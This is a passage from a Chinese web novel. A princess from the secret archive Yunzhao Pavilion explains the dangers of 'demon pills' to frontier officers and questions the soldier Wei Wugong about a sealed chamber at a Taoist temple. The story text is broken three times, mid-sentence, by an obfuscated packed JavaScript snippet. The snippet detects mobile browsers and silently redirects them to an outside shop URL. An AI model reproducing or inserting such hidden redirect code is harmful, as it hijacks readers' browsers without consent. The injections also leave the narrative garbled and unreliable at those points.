“这玩意儿我家公主才不稀罕,”李在宥倨傲地说:“平时都是让我拿来随手打点下人的。” “是,是,”阿尔斯兰擦擦脑袋上的汗,毕恭毕敬跪好了,“公主夫人是真正的天神下凡,像沙海永不掉落的太阳,用不上这样的东西……” 沈仓和魏无功对视一眼,见得双方之间暗流涌动却不明就里,只能绷着脸不做声。不过,魏无功看那个闪闪发光的丸子,总觉得在哪里见过,一时间想不起来。 突然,一直沉默的赵元贞在帘子后面咳嗽了一声。 李在宥连忙装模作样,恭敬地凑过去。两人一阵耳语,他鞠了个躬倒退着走出来,对阿尔斯兰喝道:“我家主人让我问你,把这死人身上扒出来的脏东西拿到公主面前,是你的意思,还是你背后张定钧的意思。” 阿尔斯兰听了这话磕头如捣蒜:“不是张将军的意思,不是张将军的意思……是小人丑陋粗鄙,自己觉得好的东西,就忍不住拿出来献宝,”他哆哆嗦嗦又从怀里掏出一个瓷瓶,跪伏在地上双手呈上:“这个才是张将军的礼物。” “哼,滑头,”李在宥冷哼一声,拿佩刀挑了瓶身,接过去看了一眼,就将瓶中之物倒在地上。依旧是一颗颗的丹丸,黑中带红,不过做工和刚刚公主拿出来的略有不同,看上去粗糙了很多。“你要是替张定钧办事,就该说些我们不知道的。” “张将军说得对,云昭阁有千里眼、顺风耳,”阿尔斯兰满脸通红:“张将军充满诚意,只想着能够和尊贵的夫人和英勇的大人们有朝一日说上话……” “行了,别说这些有的没的,”李在宥听他蹩脚的普通话难受:“我就问你,那张定钧何时纳头来降?” “小人只有一个脑袋,不敢替将军定日子,”阿尔斯兰说:“张将军拟了一封书信,让我洗干净肮脏的手,找机会送给公主夫人。” 李在宥看了一眼帘帐后面,隐约看里面的赵元贞点了个头,于是说:“行了,信放下,你,滚吧。” 阿尔斯兰如蒙大赦,连忙起身拍拍灰尘,又把手在衣服上干蹭几下,才将信件恭恭敬敬放在沈仓面前的深漆几子上。 临走前,沈仓补了一句 “再让老子发现你卖烟,扒了你的皮”,阿尔斯兰连声应着“不敢了,再也不敢了嘛!”连滚带爬地逃了出去。 阿尔斯兰走了之后,进来几个兵打扫地面。 李在宥干咳了一声,“那个……劳烦各位兄弟还是把颗粒装好,东西还有用……” 魏无功没忍住,“噗”一声笑了。搞了半天那个挥洒的气度,都是装出来的。“真能演,”他走过去,捻了一颗拿在手上,放在鼻子底下闻闻,一股熟悉感瞬间涌了上来。 “殿下,”沈仓也笑了,问:“刚刚扔出去的是什么,把那阿尔斯兰都吓结巴了。” “走,咱们茶台边上坐着说, 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“知道归知道,用起来总是不得其法。”赵元贞不知从哪里掏出来一个小木鸟搁在桌上:“朝廷其实偷偷研究了很多年,当然,主要还是云昭阁这边实验做得多,结果就像这鸟,飞得越高,摔得越重。”她瞥了一眼魏无功,魏无功正盯着那只鸟出神。 “刚开始服用,人会变得力大无穷,五蕴六根及其敏锐通达,却又同时不饿不痛,有如神助。最夸张的一次,我喂的鸟儿一旬没吃饭,居然也没死。” “这么神?”沈仓惊讶地感叹。 “是啊,但是同样的,获得的能量越大,反噬也越厉害,”赵元贞想起了一些恶心的事情,皱起了眉头:“那只鸟……后来自己把自己吃掉了……” “噫——”李在宥龇牙咧嘴在旁边说:“别讲细节,谢谢!” “我也不想讲……”赵元贞又喝了一口茶,把不太美妙的记忆咽了下去,接着说:“我们找了能人方士,把这些邪物提纯,和养生的药材之类的混合在一起,但是最终只是功效和副作用有些区别罢了,时间长了也是一样的。” “能不立马疯已经算好的了,更别提什么听指挥了,”赵元贞扒拉了两下小木鸟的翅膀,抬起头来看着沈仓说:“能像赤焰军那样的,只有张定钧做得到。” “原来如此,”沈仓点点头:“并不是不知道厉害,只是不知道解法……” “那金人那边,岂不是也很想要这个张定钧?”他瞬间悟了公主的来意:张定钧的战略意义非同小可,如果按这个逻辑,如果把人用得好,不光是能决定一两场战斗的胜负,甚至能影响一个国家的气运。 “可不是嘛,”赵元贞说,“咱们这边想勾搭上张定钧要小心翼翼,处处掣肘,他们那边反倒可以大明大放接触,主要是我们这边也不争……”她没有继续说,再说下去就要埋怨到沈仓的老上司头上了。 沈仓默契地装没听见,端起茶壶,又往赵元贞的杯子里续了点茶。 “论理我只是个武将,不该妄议朝政,”沈仓说:“但是我感佩殿下的为人,也就直说了。”沈仓捏了三个空杯子,摆出掎角之势。“依我拙见,耶律阿保机快要不成气候,将来,于我们而言,金人远比契丹人更难缠,您这趟来说服张定钧,本该是头等大事……” 沈仓看着公主,一时间有些百感交集。想那张定钧归降事大,庙堂之上的男子们畏葸不前,将未来几十年的安危系于一位本该养尊处优的女子身上。 “是呀,外交谈判是该严肃些,”赵元贞听出了沈仓的言下之意,叹了口气:“可惜我没托生个男儿……” “殿下深谋远虑,只身赴险,英勇无畏,岂是男子可比的,”沈仓拱手,认真地说:“沈仓肝脑涂地,一定将殿下保护周全。” 17. 云昭阁 赵元贞被他这瞬间的郑重搞得有点不好意思。李在宥看出来了,随口帮忙打个岔,说:“你看看沈团练多带派,再看看你,怎么出来公干还带个玩具。” “你可别叫它玩具,它可精巧着呢,”赵元贞又不动声色的看了眼魏无功,“不用一丁一卯,光用木头穿着,就能飞起几丈远。” “真的假的,看看。”李在宥搓搓手。 赵元贞抬头环顾了一圈大厅,找了个对角站着,也没事多大劲儿掷出去,那木鸟真如长了羽翼一般扑腾几下,随即一个漂亮的滑翔,回旋一段距离,稳稳当当停在沈仓办公的木茶几上。 “哟,”李在宥感叹一句:“这好玩儿,送我!” “才不给你,这是我的一位友人送我的,比魔鬼丹还金贵呢。”赵元贞说:“当世能做出这样东西的,没几个人了。” “小气,”李在宥把木鸟捡回来,突然觉得好笑,说:“你这算不算欺师灭祖?” 赵元贞弹了一下他的脑袋说:“这叫‘大道无术’。云昭阁收集天下知识,‘有之以为利,无之以为用’,本就不分你我,墨家机关之巧,亦可为我道使用。” 沈仓闻言,若有所思。他虽未全然明白,却觉其中蕴含深意,不禁对云昭阁更生好奇:“殿下,这云昭阁……究竟是什么机关?” “说起云昭阁,沈大哥没听过也是正常的,”赵元贞说:“云昭阁对外隐迹藏形,行事僻匿,专门研究各朝各代的密辛野史、诡怪妖邪。要非要溯其源头的话,能一直追到周朝的老子。” “是道家祖师爷那个老子?”沈仓问。 “正是他,”赵元贞点点头:“这老子啊,除了大家熟知的为道家开宗立派,其实还有一个不太被人提起的身份,那便是担任周天子‘守藏室之使’,掌管天下书籍,阅尽古今文献,算得上是天下知识的主人。” “历朝历代,都有类似守藏室这样的机构,不同时期叫法各有千秋,或气派或风雅,”赵元贞例数了一串名号,说:“到了我和在宥这里,就变成‘云昭阁’了——不过内容嘛,大差不差。” “守藏室……云昭阁……”沈仓若有所思:“那这个和崇文院之间的关系是……” “您问到点子上了:若要论起来,崇文院姓孔,做的是儒生的学问,但是子不语怪力乱神,于是这怪力乱神,就到云昭阁了。”李在宥接了一句:“‘道可道,非常道,名可名,非常名’,这才是云昭阁研究的东西——非要说的话,崇文院和云昭阁,可能更类似于,一个是历史的誊抄者,另一个是注释者。” 沈仓不自觉往前探了探身问:“您说的注释,指的是什么?” “沈大哥您看,世间那些关乎国运兴衰的传说,有时并非空穴来风。”赵元贞眼眨眨眼,带着一丝狡黠,“远的有‘楚虽三户,亡秦必楚’、‘千里草,何青青’,近的有‘北极星临凡’、‘天授符命图谶’,……那些篝火狐鸣、谶纬童谣,诸多神异,皆经有心雕琢。” 沈仓恍然大悟:“噢……原来这些说法典故是专门儿来的呀……您不说我还真没往这里想过!” “不过……容我细问,”沈仓第一次听这样的机关,趁着赵元贞心情好愿意解释,颇有打破沙锅问到底的想法:“这样编排典故,为的是什么呢?” “说个不怕得罪人的话,”赵元贞不想说得太复杂,索性编个故事:“假设说当今官家杀错了贤良,我朝史官记载必然不能直言,那是要掉脑袋的事情,”她量沈仓是个忠厚人,不像宫里那些文官一样咬文嚼字,打了个大不敬的比方:“但是秉着对后人负责的态度,这事儿又不能不言,于是乎,史官想了个办法,借鬼神托梦,让这些东西在梦里,替人把话说了,真事儿也就成了故事,真话也就成了典故……” “明白了,”沈仓说:“有些话当时不方便说,便要编进故事里,让后头人去解。” “正是了,”赵元贞笑着说:“从江湖到庙堂,有时候,越是语焉不详、似是而非的故事,有时反而离真相最近。” “云昭阁沿袭了当年的守藏室使老子的做派,一边整理记录已经有的奇闻野史,也同时拆解那些被刻意遮掩的东西,这是崇文院那帮老学究做不到的。”李在宥很是得意地说。 “难怪哉刚阿尔斯兰说云昭阁千里眼顺风耳……”沈仓抚掌。眼前两位云昭阁的客人,想必也是阅遍群书、博古通今,加上朝廷托底,行事就像大江大河之中的暗流,表面无风无浪,实则力藏千钧。 “另外……”赵元贞补了一句:“文明是连续的,但是统治者不是,知识是无涯的,但是人生是有涯的…… 不管是始皇焚书、火烧阿旁,亦或春秋笔法、独尊一术……这些本质上都是对文明的打击。”赵元贞不知道沈仓这种当兵的听不听得懂这层意思,自顾自感叹了一句:“始皇帝焚书时,我不知是谁冒着杀头的风险藏下了一部分六国史书;汉武帝罢黜百家,也不知是谁将那些被贬斥的诸子学说悄悄保存…… 改朝换代,兵燹战乱,不知有多少真相被埋没,有多少典籍被篡改,守藏室使者们做的,便是尽力留住这些容易被浪花打散的沙金……” “这……”沈仓听到这里愣了一下。听赵元贞这意思,云昭阁甚至都不是给官家做事的。他想了一下,小心翼翼说:“那云昭阁守的,其实是文人的良心。” 赵元贞很赞许地看了他一眼,一个当兵的能说出这样的话,相当不容易。她彻底放下心防,笑笑说:“沈大哥言重了。我们只是尽力而为能捞起的也不过是万一。 也正因为如此,我们也不像崇文院一般追求人世间的功名,我们是一群不能在历史上留下名字的人—— 一旦守藏室使有了名字,那历史的注脚就没有了权威。” 她温和地看着沈仓:“所以您其实不必费心打探我与在宥的根底——我们可以是任何人,也终将不是任何人。” “这……惭愧。”沈仓一点小动作根本瞒不过云昭阁的眼,此时十分汗颜。 “谨慎本就是武将美德,这点不必介怀。”赵元贞说:“您只记着,我是当今官家的姊妹,这一点是真的,就够了。” 沈仓唏嘘不已,今天真是十分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105039|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长见识。他戎马半生,方知天地广阔、天外有天:真有人一生穷极学问,却不为名禄,只为找那些草灰蛇线,扑朔迷离的东西,试图在历史的瀚海里拼凑出一些真相,又小心地保留住另一些真相。 云昭阁……云昭阁,如迷云昭张,如同朝露折射虹光,明知转瞬即逝,却愈显其华彩。可惜他无法用语言表达他的感受。 “想什么呢你,半天也没见你说句话。”李在宥突然注意到一直沉默的魏无功。 “啊,我啊,”魏无功回神,“我一直在听……” “小魏是哪里人呀,”赵元贞笑着问。 “不知道,团练说可能是胡地来的。”魏无功见了公主,整个人都很老实,李在宥在边上啧啧啧。 “哦……也是个命苦的孩子呢,”赵元贞说:“那怎么一路到易州这么远的地方来了?” “太小的时候记不清了,中间有一段儿是跟着一个云游道士,一路走一路讨,就到这儿了。” “你功夫是跟道士学的吗?” “算是吧。” “那为什么最后又跑去参军了?” “饿了偷人东西,结果被团练发现让我赔,我没钱赔,就被拽来当兵了。”魏无功尴尬一笑,沈仓在旁边边听边乐,补了一句:“都不用拽,那会儿无功什么都不懂,跟他说军营里有饼吃他就来了,一直到拿了第一个月的军饷才发现,哦,原来打仗还管发钱,从此彻底赖着不走了。” “啧,谁赖了……明明是你求我给你干活儿,我才勉强答应的。”魏无功被几个人盯着,感觉自己从脖子到脸烧得慌,肯定是红了。 看魏无功十分不好意思,赵元贞笑得特别明媚。李在宥看看赵元贞,再看看魏无功,感觉哪里好像不对劲。他家主子别是真看上魏无功了吧?! “我跟你说哦,”李在宥摸摸兜,掏出个米粒儿大的小石子儿,“咱们魏都头除了坑蒙拐骗偷,还擅长卸岭搬山”,为了赵元贞不被装无辜之人蒙骗,他决定疯狂揭穿魏无功盗墓老底,这可比偷鸡摸狗严重多了。“就说那天我们为找阿尔斯兰摸黑爬山,伸手不见五指的天气,地面还叫人泼了醋,可偏偏魏都头狗鼻子一闻,就在苍莽大山中寻得大墓一个……” “你说书呢!”看他在那里讲得绘声绘色,魏都头表示抗议:“就一个土包,你多走两步也能看见!” 李在宥白他一眼,继续唾沫横飞一通讲:“那么大的墓室,也没点灯,偏生就他能看见排水渠里的珠子,这是何等眼力……” 没想到赵元贞的注意力完全跑偏,不问观察草色泥痕的功夫,反倒问起墓中诸多细节。最重要的是,“问细节可以问我啊为什么只问小魏!”李在宥内心咆哮。 “小魏啊,在宥说的羊眼板珠你可认得?” 魏无功摇摇头,他之前那几个珠子回来之后被他打了孔穿成串挂在衣角上好玩儿,这会儿取下来递给赵元贞,问:“这东西值钱吗?” “怎么说呢……诶你手真巧,”赵元贞捏着把玩:“作为商品,它并不值钱,不过要是作为礼物,倒是有段故事……” 18. 穆天子的礼物 “哼,有什么故事,又讲故事……”李在宥在一边愤愤不平,被赵元贞一只胳膊扒拉开。 “传说,穆天子西行,走了一万四千里,在群玉之山见到西王母,飘逸出尘、遗世独立,两人一见如故、情愫暗生,”赵元贞起了个架势,这会儿也像个说书人了,“可惜风云际会,点到为止,穆王国事在身,不可久留。临行前,西王母哀伤不已,问他,‘将子无死,尚能复来?’周穆王点头答应,说三年之后,待他治理好东土,一定再与她相会……” “听这个答应就知道肯定没去赴约,负心汉都是这个德行。”李在宥很不屑地撇撇嘴。这故事他知道,来源于《穆天子传》,年代这么老的书,也只有赵元贞还在一本正经研究。 “是啊,谁知道呢……如果非要说的话,大概也只有守藏室的老子知道了,”她笑笑,手指划过串起来的一颗颗眼睛一样的板珠说:“不过,有一段野记倒是收录进了云昭阁的卷宗里,说羊眼板珠就是西王母当初送给穆王的定情信物之一,代表西王母的眼睛。西王母受天帝之托镇守昆仑无法离开,只能让自己的眼睛随着穆王一起去看东边更远的世界……” “小魏呀,你要不把这个串珠送给我吧。”赵元贞突然说。 几个人本来津津有味听故事,赵元贞这么一问,一个激灵都坐直了,连沈仓都给吓一跳。 “不是,这什么情况,”李在宥心里一阵山呼海啸,当着人家面又不能问,只能拿眼睛瞪赵元贞:“你清醒一点!你刚说的定情信物,现在找个大小伙子要是什么意思!!!” 魏无功讷讷地点了个头,只见那赵元贞又说:“讲了一上午话,这会儿有点乏了,我先回去歇会儿——昨天那个汤圆很好吃,小魏晚上再给我送一碗吧,顺便有本书封碎了,拜托你帮忙补补。” 这已经不是暗示了,这基本上就是明示!孤男寡女的什么时候不能补书要大晚上一起跑去房里补……李在宥感觉自己哪里悄悄碎掉了。 听到赵元贞说要回房休息,那两人纷纷起身,目送她出去,李在宥瘫在凳子上一动不动。他试图查看一下沈仓的表情判断自己是不是想多了,但是沈仓脚底抹油,拒绝了他的眼神对视。“非礼勿视、非礼勿言”,老江湖的分寸感就是拿捏得如此精准。 “……” 议事厅就剩下他们俩。李在宥气势汹汹盯着魏无功,魏无功一脸混不吝的样子,这会儿脸倒是反而不红了。 “她什么意思。”李在宥沉声问他。 “我哪儿知道啊。”魏无功嘴角快要压不住了。 “那你去干什么?”李在宥又问。 “我去干什么……”魏无功拿手敲敲下巴假装在思考,随后奸邪地咧嘴一笑,露出一口白牙:“我去当驸马爷呀~” “你大爷!”李在宥一声暴喝抄起茶杯要砸他,魏无功一个闪身躲过,飞快的窜了出去,走廊上还留着他爽朗的笑声余音绕梁,刺得李在宥耳朵生疼。 “小玩意儿……”李在宥紧急做了几个深呼吸:“以后有本事别留把柄在我手上,整不死你……” 骂归骂,李在宥还是觉得,哪里不太对劲。 赵元贞这是……要支开他? …… 那头,魏无功跑出去,一边开心在那里笑“气死你个死太监”,一边又有点儿紧张。 众人不解其意,他自己心里很清楚,公主应该是要单独找他问话。席间已经用魔鬼丹和木鸢两次测试他反应了,他只是神经粗又不是笨。 那个木鸢和烧丹的手艺,都来自蚕姑坨,拿起来一看就知道是他师父做的。所谓的送汤圆儿、补书都是借口。不过,公主想找他了解了解玄清子的事大概是找错人了——蚕姑坨离寨堡其实没多远,但是他一次也没回去过,很多过去的记忆也慢慢模糊。既然是惹人嫌的人,那就不要再出现了。 半夜,赵元贞在房里掌灯读书,魏无功轻轻敲了门进去。关门的时候他想了一下,还是留了条缝。赵元贞看他谨小慎微,想起了某位正气得要死的小朋友小时候的样子,不禁有些好笑。 “小魏呀,过来坐,”赵元贞当真扔了本开线的书让他补,看他空手来,问:“我汤圆儿呢?” 魏无功傻了眼,不是借口吗,真要带汤圆吗? “我去煮……”他慌慌忙忙起身。 “回来回来,逗你的!”赵元贞连忙说,笑得脸酸,“我以为你跟在宥一样要演一下呢,还特意拆了本书,没想到你这孩子这么老实,快坐下不欺负你了。” 魏无功摸摸鼻子,“嘿嘿”两声坐下了。桌边还是那只小木鸢,他捏起来假装看,缓解尴尬。 “你看着和在宥差不多大,你是哪年生的?”赵元贞打量了他一会儿,决定先唠会儿家常让魏无功放松一点。 “龙年生的。” “啊,那在宥还大一点,他属兔子的。”赵元贞说:“跟他说属兔他还不乐意,非要跟我说他要属虎,不然不吃饭……从小就精精怪怪的。” 魏无功笑笑。看得出来李在宥和公主很亲,像家人。不过想到李在宥比他大点儿还有点不爽。 “你呀,别拘着,看在宥跟我怎么样你就怎么样,我这儿没这么多规矩,”她腿一翘,说:“我说过了,云昭阁是一群不需要特定身份的人,大家都是一样的吃饭睡觉拉屎,按江湖的来,别用宫里的。” “好,”魏无功笑着点点头。不讲故事的公主说话很接地气儿。看她翘着腿老神在在的样子,就知道李在宥跟谁学的了。 “我和玄清子通信有很多年了,但是没见过面。”赵元贞说:“先问个最好奇的事儿——她是女子吗?” “对,是女的。”魏无功点点头,心说但是和正常人想象中的女子恐怕不大一样……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105040|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “看来我的直觉还是准的。”赵元贞若有所思点点头:“我叫你来,主要是想打听打听蚕姑坨密室里的事儿。” 赵元贞单刀直入,魏无功一愣。问什么不好,偏上来就问他这个。 “实话也不瞒你,我其实一开始,怀疑红色晶盐是从蚕姑坨泄露出去的。”赵元贞说:“不过自从你们跟我说了古墓里的事情之后,我有了些新的想法,这个以后再说。” “为什么首先怀疑蚕姑坨?” 魏无功问。 “据我所知,我们这边的守藏室记录的魔鬼丹最早出现时间在唐末,地点大概率来源于易州某一处古墓,只可惜没有具体的位置记载。我查遍易州县志,觉得蚕姑坨最为特殊。” 赵元贞回忆起当初的研究:蚕姑坨是位于狼牙山支脉的一座景色秀丽的小山,传说汉代一位尼姑在此遍植桑树、养蚕缫丝,养活一众山民,最终羽化登仙。多年过去,山上还有一座名叫蚕姑殿的道观,正是为了纪念她建的。不过,这道观有些特别,在蚕姑塑像后面有一处密室,从不对外示人。有说法是里面是蚕姑的舍利,也有说多年来道姑们的积蓄,还有的说是历代守山道姑们的墓葬…… “易县并没有什么王公大墓的记载,蚕姑坨密室在当时的我看来最为神秘。不过,我后来用红色晶盐探路,与玄清子结缘,看她为人刚正不阿,想她兴许并不知情。”赵元贞说:“我寄给她的晶盐,都被她烧成色泽均匀、质地温润的丹药,匠心独运是一方面……” “在我告诉她这晶盐值万金之后,找人把她烧好的魔鬼丹挨个儿碎开,原料还是一厘不少,连加工费她也没有多要一分。”赵元贞说到这里有些感慨,“不过呢,玄清子没有问题不代表蚕姑坨没有问题,我还是想知道密室里有些什么东西……” “等等……”魏无功隐隐约约感觉到哪里不对,大脑艰难运转着:“你怎么知道,我见过密室?” 他突然想到,以玄清子的性格,不可能对外说他之前的事。他们的相处模式是典型的“你将来闯出祸事别把为师的名字说出来”的类型。 “哟,脑子转的还挺快,”赵元贞对他抓重点的能力十分欣慰,是云昭阁想要吸纳的好苗子,“其实我也是猜的。准确说,连你和玄清子的关系我都是猜的。” 魏无功脑子里一阵电光石火,总算明白过来:对啊,赵元贞从头到尾,都没问过一句“你师父是不是玄清子”! 她一个不经意问自己“玄清子是女子吧”,只要他说“是”,他便暴露了。 赵元贞与玄清子沟通多年,就算是不是本人相见,中间传话的人又如何不会回话是男是女呢?她只是察觉到自己看丹药眼神不对,随即用木鸟试探,最后顺水推舟罢了。 ……云昭阁主,恐怖如斯! “我说没问题,”魏无功叹了口气,“但是先提前说一声,我知道的真不太多……” 19. 盗墓贼 魏无功对着赵元贞,第一次说全了他参军之前的故事,连沈仓都没听过这么详细的版本。 十五年前,魏无功还没有路边野狗大,跟着一个四方云游的赖皮道人,从函谷关一路向东,先车后船,吐得昏天黑地,终于是在蚕姑屯落了脚。 那赖皮道人混完一顿饱饭,见蚕姑坨山川秀丽、良田百亩,又有十来个道姑悉心经营,就把屁大的崽子留下了。 他说:“本来打算关中就把你卖了换钱,结果你又丑又瘪,脑袋上还长了癞痢,实在是卖不出价,看你和道门有缘,以后就在这里好好生活吧。” 玄清子给了他一笔钱,他便下了山,不知道去了哪里。 后来,玄清子就顺理成章变成了他的师父。她虽然是女人,但是没有一点儿女人该有的慈爱,在魏无功扫帚都拿不稳的年纪,就让他白天打扫、夜里练功。用她的话说,观里“不养闲人”,只要力所能及,即使是小孩子也不能惯着。不过练功扫尘累归累,蚕姑坨从不克扣口粮。魏无功头一遭填饱了肚子,营养好了个头也跟着蹿。西来沾染的一身尘埃被道姑们拎到河边洗洗涮涮,终于露出了原本的皮相,不再像个野猴儿了。 玄清子功夫很好,要求也很严苛,在她的点拨下,魏无功的根骨很快变得有模有样起来。但是,大概是小时候肚子饿得多了,即使现在吃得饱穿得暖,还是改不了偷鸡摸狗的毛病。用玄清子的话说,他属于是“根性恶劣、野性难驯”,除了练功勉强看得过去,人品简直一无是处。玄清子想过很多办法,但是读书写字就跟要了他命一样,玄清子本身也不太会教这些,只好寄希望于让他由武正道,但是貌似不太成功: 凡是附近遇着些婚丧嫁娶的事,村民们总免不了要请蚕姑坨的道士们去诵唱祈福。每每这种场合,魏无功就喜欢跟在接亲送葬的队伍后面,摸些钱兜、烟卷和首饰。玄清子骂也骂过、打也打了,没用。 不过,魏无功顽劣归顽劣,有一个地方他是从来不去的。蚕姑殿后头有间密室,玄清子没有刻意瞒着他。再怎么玩闹,江湖上长大的,终究还是看得懂脸色。魏无功知道那地方他要是进去了,那可不是一顿打一顿骂的事情。 只是,他不去见山,山却自己跑来见他了: 有一天,他照常躲在供桌下面打盹儿。附近新丧了一位财主家的姑爷,前殿在做超度亡魂的法事,白的纸、红的鞭、黄的符、黑的袍,一切的色泽在他眼前晃动、搅合、晕开,步虚声或高亢或吟哦,呜呜咽咽的调子唱得他昏昏欲睡。正眯着,闻到供案上的猪头肉的香气,有点儿馋了,迷迷糊糊盘算着什么时候趁人不注意去啃上一口。这时,他突然听见蚕姑在跟他说话。 “小魏哥儿,你过来~” 声音虚无缥缈,若即若离,仿佛自带回声。魏无功闻声,睁开眼睛。 小孩儿不知道害怕,只是好奇。他掀开桌布另一边的幔子,抬头望着蚕姑像:蚕姑依旧是眉毛弯弯,嘴角噙笑,一副眼眸低垂的温和。他以为自己是困花了眼,翻个身正要再睡,却又听得她说: “小魏哥儿,快过来,过来给你吃肉~” 这回他听得真切,又抬头去望蚕姑,问:“嬢嬢你在跟我讲话吗?” “是呀,嬢嬢就是在跟你讲话,喊你吃肉呢。” 然而蚕姑泥塑依旧静默地伫立,不像是能够说话的样子。 “嬢嬢你在哪儿说话呢?”小魏无功问:“我怎么看不到你?” “我在后面……在后面的门里,你过来找我吧。”那个女人说。 魏无功往蚕姑后面看了一眼,心想后面哪有别的门,只有密室的门,就犹豫了。他说:“那地方我不能进。” “瞎说,怎么不能进,我不就进来了吗?”那女人继续跟他说着话。 “那你出来给我不就完了吗?”小魏无功很不耐烦地说。 “嬢嬢腿脚不便,躺在床上,只能你进来拿。”那人讲,见魏无功犹豫,便又说:“嬢嬢这儿不只有猪肉,还有麻球儿、蜜枣儿和冰糖呢……” 听到冰糖,魏无功再也坐不住了,起身就要往后头走。 “诶,你避着人,一个人来,”那人赶忙补了一句:“嬢嬢没有那么多糖,只够你一个人的。” 魏无功想了想,点点头,由站改蹲,悄悄从布幔底下爬了出去,一个人绕到后殿,摸着泥像后面的窄缝。很意外的是,那门并没有锁,他就这么直直地进去了。 进去之后,环顾四周,室内空无一人,只正中间有一个石床,上面摆着一口水晶棺。 密室依着一个天然石洞开凿,室内没有点灯,门缝里透出的光线落下一绺在水晶棺上,折射出一层薄薄的虹蕴,流萤闪烁,光怪陆离,看得魏无功更加恍惚了。 “嬢嬢,你在哪儿呢?”他问。 但是这回,女人不再回应他了。 “骗人!”魏无功气哼哼地说。洞内温度比外面低不少,他打了个哆嗦,感觉有点不太妙,打算转身就走。 手已经摸上了门框,明明离出去只差临门一脚,魏无功却突然感觉心跳得很快,似有感召一般回过头去——那水晶棺里有什么东西吸引着当时的他。还没等他想明白,脚已经不自觉地往水晶棺那片迷离光华中走去了…… “我当时不知道怎么了,就是很想去看一眼里面的东西,”魏无功说得很慢,在努力回忆当时的细节:“可是我刚走到水晶棺边上,师父就进来了,最终也没看清那是什么。” “师父揪着我的耳朵把我拖出去,检查说里面丢了一件东西,”他皱着眉头,多年以后依旧难以释怀:“但是,那会儿我很矮,视线看不到上面,并不知道石床上面的棺材盖儿什么时候打开了。” “那她有告诉你不见的东西是什么吗?”赵元贞问。 魏无功摇摇头,“她就是一口咬定我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105041|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿了什么,问也不说,把我吊起来揍,在外头树上挂了三天三夜,可是我什么也拿不出来。” “最后她大概是失望了,把我赶了出去。”魏无功很久不想这件事,这会儿感觉自己眼睛有点酸。玄清子当时是下了死手的,这点他十分确信,养了十年的,就是条狗也该有感情了。也正因为如此,即使多年以后阴差阳错又跟着沈仓回到了易州,他也不愿意再靠近蚕姑坨一步。 末了,他说:“我知道的就只有这么多了。” “委屈你了,”赵元贞摸摸他的脑袋,“被生养亲近的人误会的滋味儿是不好受。”不过,魏无功的故事,确实印证了她的想法。即使祸端不起蚕姑坨,蚕姑坨也脱不了干系。 “时间太久了,连我自己都怀疑当时是不是记错了。”魏无功说。他非常感激公主对他故事的反应,没有丝毫的怀疑。 “这世上很多蹊跷诡谲的事情,在一开始都是普通人不理解的。”赵元贞安慰他:“但是云昭阁专管这样的事,总有一天会为你找到答案的。” 两人又闲聊了一阵子。魏无功后来还讲了许多他被赶下山之后偷盗摸金的混事儿,以及他被沈仓带去军营的种种。赵元贞是个很好的倾听者,能让人卸下心防,觉得说什么都可以。魏无功突然就理解了李在宥为什么气鼓鼓了,这要是他家的公主,他也舍不得让给别人。 两人说了很久的话,不知不觉到了后半夜。魏无功感觉他把一年分量的台词儿都讲完了,直到公主打了个哈欠,才想起来早该走了。 “走之前再给我看一眼你的头发。”赵元贞说。魏无功拆了辫子给她瞧,她捏了一撮卷儿,拿裁纸刀裁了,说:“借你一绺,等我回京了帮你查查你可能的来处。” “好,”魏无功笑笑。他倒是无所谓自己从何而来,但公主这份心总是好的,“我走了。”他关上了门。 关门的一瞬间,突然感觉身后有人。猛地一回头,发现是李在宥。 “大晚上站岗呢?”魏无功打趣他。李在宥穿一身黑站在月光照不到的阴影里,双手抱着胸口,脸色看不清楚。 魏无功看他半天没回话,正奇怪着,突然意识到自己现在的形象是披头散发,那黑衣人怕是误会到姥姥家了,瞬间很想笑。 “你……”他刚想开口,李在宥突然抬手,甩了个东西给他。魏无功偏头一抓,是件衣服,也是通体黑色的,像是夜行衣。 “干嘛?抓贼去啊?” “……”李在宥深吸一口气,努力让自己显得平静: “雇你陪我去鬼市走一趟,给钱的。” “好说,”魏无功一听有钱,欣然答应:“不过我不穿这东西。”他魏无功几年前,可是鬼市的常客,都是熟脸孔,要什么夜行衣。 “李大人这边请~”魏无功从他边上走过去,十分愉快地说。 身后的李在宥沉着脸,咬了咬牙跟了上去。 20.鬼市 李在宥回了寨堡也没闲着,安排人打听了一下古墓墓主人陪葬品的事儿。 云昭阁前任阁主是个很严谨的人,在记录中写得明明白白魔鬼丹是从易州来的,大抵不会有错。他和赵元贞两人都不约而同地想在当地有头有脸的墓里做些文章:赵元贞瞄准了蚕姑坨,李在宥就想在另一个墓里找线索。 